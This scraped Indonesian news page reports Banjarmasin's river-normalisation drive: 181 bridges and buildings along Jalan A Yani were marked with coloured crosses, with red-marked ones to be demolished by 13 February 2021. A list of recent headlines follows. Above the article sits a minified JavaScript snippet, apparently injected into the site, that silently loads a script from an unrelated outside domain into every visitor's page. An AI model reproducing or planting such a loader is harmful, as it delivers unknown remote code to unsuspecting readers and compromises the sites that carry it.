(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

181 Titik di A Yani dari Km 2 hingga Km 6 Diberi Tanda, Silang Merah Harus Dibongkar!


KANALKALIMANTAN.COM,BANJARMASIN – Satgas Normalisasi Sungai yang dibentuk Pemko Banjarmasin sudah mulai memberi titik tanda bangunan dan jembatan yang harus dibongkar pemilik.

Sebanyak 181 titik sudah diberikan tanda agar pemilik membongkar sendiri atau Pemko Banjarmasin yang akan menurunkan alat berat untuk pembongkaran.

Walikota Banjarmasin H Ibnu Sina mengatakan, sebanyak 181 titik jembatan dan bangunan itu sudah diberikan tanda silang dengan tiga warna dalam upaya pelaksanaan normalisasi sungai di Kota Banjarmasin.

Dijelaskan Ibnu Sina, definisi tanda silang tersebut terdiri dari warna hijau yang berarti tanda bahwa bangunan tersebut aman, kondisi tinggi air dengan bangunan tidak mempengaruhi aliran sungai.

Lalu tanda berwarna kuning menandakan bahwa bangunan tersebut harus dievaluasi kembali dari pelebaran dan peninggian bangunan.

“Dan tanda silang berwarna merah menandakan bahwa bangunan yang berada di atas sungai tersebut akan segera dibongkar dan diberikan tenggat waktu hingga 13 Februari 2021,” tegas Ibnu Sina.

“Kalau hijau itu aman ketinggian dengan air sungainya. Sedangkan tanda silang merah itu jembatannya terlalu rendah sehingga menutupi arus, itu harus dibongkar,” jelas Wali Kota Banjarmasin, Selasa (9/2/2021).

Ibnu Sina juga menjelaskan bahwa upaya normalisasi sungai di sepanjang Jalan A Yani tersebut merupakan upaya untuk mengembalikan fungsi sungai seperti sedia kala.

“Upaya kita ini untuk mengembalikan fungsi sungai atau kanal sebagai drainase,” jelasnya.
Sementara itu, Ketua Satgas Normalisasi Sungai, Doyo Pudjadi mengatakan bahwa beberapa bangunan yang sudah ditandai akan segera dilakukan pembongkaran pada Rabu (10/2/2021) besok.

“Besok kita sudah mulai akan melakukan pembongkaran Jembatan di Jalan A Yani Km 6,” ujar Doyo.

Pantauan Kanalkalimantan.com tanda silang merah tersebut sudah tersebar sepanjang Jalan A Yani dari Km 2 hingga Km 6 Banjarmasin. (kanalkalimantan.com/putra)

 

Reporter : Putra
Editor : Bie

 

 

 


Al Ghifari

Recent Posts

Dua Bapaslon Jalur Non Partai Serahkan Syarat Dukungan ke KPU Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN – Detik-detik terakhir penutupan penyerahan syarat dukungan bakal pasangan calon (Bapaslon) Wali Kota… Read More

17 menit ago

Bupati Lepas TP PKK Banjar Wakil Kalsel ke Parade Budaya Nusantara

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur melepas peserta lomba Parade Budaya Nusantara, di… Read More

2 jam ago

Tak Ada Peminat Jalur Perseorangan di Pilwali Banjarbaru 2024

KANALKALIMANTAN.COM, BANJARBARU - Pemilihan Wali Kota dan Wakil Wali Kota dalam kontestasi Pilkada 2024 di… Read More

2 jam ago

Kebakaran Dini Hari di Palangkaraya, Dana Hanya Bisa Selamatkan Anak Istri

KANALKALIMANTAN.COM, PALANGKARAYA - Puluhan rumah di permukiman padat penduduk Jalan Mendawai Induk, Kota Palangkaraya, Kalimantan… Read More

5 jam ago

Amuntai Expo dan Bazar UMKM 2024 Berakhir

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melalui Asisten Perekonomian dan Pembangunan… Read More

5 jam ago

Jalinan Erat Silaturahmi Warga Sungai Besar dari Budaya Banjar “Balogo”

KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More

20 jam ago

This website uses cookies.